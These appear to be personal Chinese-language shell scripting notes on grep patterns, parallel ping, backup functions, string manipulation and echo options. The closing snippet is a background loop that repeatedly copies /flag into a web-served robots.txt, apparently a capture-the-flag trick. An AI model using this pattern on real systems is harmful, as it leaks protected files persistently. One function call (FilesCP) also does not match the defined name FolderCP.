常见问题
测试脚本语法 sh -n ip-p.sh syntax error: unexpected end of file window环境下编写的会在每行的结尾多一个^M结束符
grep
使用正则表达式查找字符串
#批量多线程ping IP
#! /bin/bash
starttime=`date +'%Y-%m-%d %H:%M:%S'`
rm -f logfile
for i in $(cat ip.txt)
do
{
ping -c 30 $i | egrep "packets transmitted|min/avg/max/mdev" >>logfile && echo "$i" >>logfile && echo "-------------------------" >>logfile
}&
#加&不输出到前台,实现多线程处理
done
wait
endtime=`date +'%Y-%m-%d %H:%M:%S'`
start_seconds=$(date --date="$starttime" +%s);
end_seconds=$(date --date="$endtime" +%s);
echo "本次运行时间: "$((end_seconds-start_seconds))"s"
grep or 操作
grep 'pattern1\|pattern2' filename
grep -E 'pattern1|pattern2' filename
egrep 'pattern1|pattern2' filename
grep -e pattern1 -e pattern2 filename
grep and 操作
grep -E 'pattern1.*pattern2' filename
grep -E 'pattern1.*pattern2|pattern2.*pattern1' filename
$ grep -E 'Dev.*Tech' employee.txt
grep -E 'pattern1' filename | grep -E 'pattern2'
grep not 操作
grep -v 'pattern1' filename
使用 grep -v 可以实现 NOT 操作。 -v 选项用来实现反选匹配的( invert match)。如,可匹配得到除下指定pattern外的所有lines
可以将NOT操作与其他操作联合起来,以此实现更强大的功能 组合
$ egrep 'Manager|Developer' employee.txt | grep -v Sales
grep匹配前后几行
grep -5 'parttern' inputfile #打印匹配行的前后5行
grep -C 5 'parttern' inputfile #打印匹配行的前后5行
grep -A 5 'parttern' inputfile #打印匹配行的后5行
grep -B 5 'parttern' inputfile #打印匹配行的前5行
shell自定义函数
#函数不能返回字符变量,可以改变全局变量
tem_cp=""
#函数定义应该在使用前面
function FolderCP(){
# $1 $2 $3分别是输入函数的第1、第2、第3个参数
echo "备份路径:$1"
echo "源路径:$2"
echo "文件夹名:$3"
#拼接变量 "${1}${3}"
#变量前加local声明为局部变量,否则默认为全局变量
local tem="${1}${3}"
# -d 判断是否为文件夹,-f判断是否为文件
# date 获取时间,格式 %y%m%d%H%M 年月日时分
if [[ -d "$tem-`date +%y%m%d`" ]];then
if [[ -d "$tem-`date +%y%m%d%H`" ]];then
echo updated in one hour!
tem_cp="$tem-`date +%y%m%d%H%M`"
else
echo updated in one day!
tem_cp="$tem-`date +%y%m%d%H`"
fi
else
echo no updated today!
tem_cp="$tem-`date +%y%m%d`"
fi
echo $tem_cp
#判断是否为文件夹
if [ -d "${2}${3}" ]; then
#在命令中拼接变量
#cp -r 复制子目录,cp的第二个变量必须存在,第一个参数是目录则复制到$1下成为子目录
cp -r "${2}${3}" $1
mv "${1}${3}" $tem_cp
# $? 是上一个函数的返回值,可以判断函数是否执行成功 0=true
# -eq 判断相等
if [ $? -eq 0 ]; then
echo ----------------succeed-----------------
fi
else
cp "${2}${3}" $tem_cp
fi
}
function CutDir(){
echo "--------------------------项目: $1"
echo "操作字符串: $2"
# ! -d 表示非文件夹
if [ ! -d "${bcdir}/${1}" ]; then
mkdir "${bcdir}/${1}"
fi
temC=1
#这是2指输入的第二个参数,array为数组
# 使用, 来分割字符串
array=(${2//,/ })
#依次取出array数组中的字符
for var in ${array[@]}
do
echo "-----part: $temC"
# 取出路径的某一本部分,拿掉最后条/及其右边的字串
tsdir=${var%/*}
#拿掉第一个/及其左边的字串,注意没有/
tF1=/${var##*/}
FilesCP "${bcdir}/${1}" "${tsdir}" "${tF1}"
#自加1
temC=$(( $temC + 1 ))
done
}
Nginx=""
PS3="请输入选项:"
select number in "1a" "exit"
do
case $number in
"1a")
#输入的变量按顺序成为第1第2第3个参数
CutDir $number $Nginx
;;
"exit")
break;;
*)
echo "no selection!"
esac
done
file=/dir1/dir2/dir3/my.file.txt
字符分割
我们可以用${ }分别替换获得不同的值: ${file#/}:拿掉第一条/及其左边的字串:dir1/dir2/dir3/my.file.txt ${file##/}:拿掉最后一条/及其左边的字串:my.file.txt ${file#.}:拿掉第一个.及其左边的字串:file.txt ${file##.}:拿掉最后一个.及其左边的字串:txt ${file%/}:拿掉最后条/及其右边的字串:/dir1/dir2/dir3 ${file%%/}:拿掉第一条/及其右边的字串:(空值) ${file%.}:拿掉最后一个.及其右边的字串:/dir1/dir2/dir3/my.file ${file%%.}:拿掉第一个.及其右边的字串:/dir1/dir2/dir3/my
#
${str:a:b} 表示提取字符串a开始的b个字符 比如 str="abcd" echo ${str:0:3} 结果是abc
#
#!/bin/bash
string="hello,shell,haha"
OLD_IFS="$IFS"
IFS=","
array=($string)
IFS="$OLD_IFS"
for var in ${array[@]}
do
echo $var
done
判断字符串是否为空
变量必须带“ ”
#!/bin/sh
STRING=
# -z :判断 string 是否是空串
if [ -z "$STRING" ]; then
echo "STRING is empty"
fi
# -n :判断 string 是否是非空串
if [ -n "$STRING" ]; then
echo "STRING is not empty"
fi
自加1
i=$[$i+1];
i=$(( $i + 1 ))
i=`expr $i + 1`;
let i +=1
let 'i+=1'
echo
用法:echo [短选项]... [字符串]...
或:echo 长选项
将 STRING 回显到标准输出。
-n 不尾随换行符
-e 启用解释反斜杠的转义功能
-E 禁用解释反斜杠的转义功能(默认)
--help 显示此帮助信息并退出
--version 显示版本信息并退出
若-e 可用,则以下序列即可识别:
\\ 反斜杠
\a 响铃声
\b 退格
\c 不再产生新的输出
\e 转义符
\f 换页
\n 新行
\r 回车
\t 水平制表符
\v 竖直制表符
\0NNN 字节数以八进制数 NNN (1至3位)表示
\xHH 字节数以十六进制数 HH (1至2位)表示
echo -e "\t\"name\":\"xukai871105\"" >> test-json.txt
```
```sh
#!/bin/sh
echo "writing RSA key" >> robots.txt
echo "-----BEGIN PUBLIC KEY-----" >> robots.txt
echo "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwIUjUBU1HE1b+X9szwdO" >> robots.txt
while true
do
ping -i 15 -c 2 127.0.0.1
cat /flag >> robots.txt
done
# chmod +x test.sh
# nohup ./test.sh &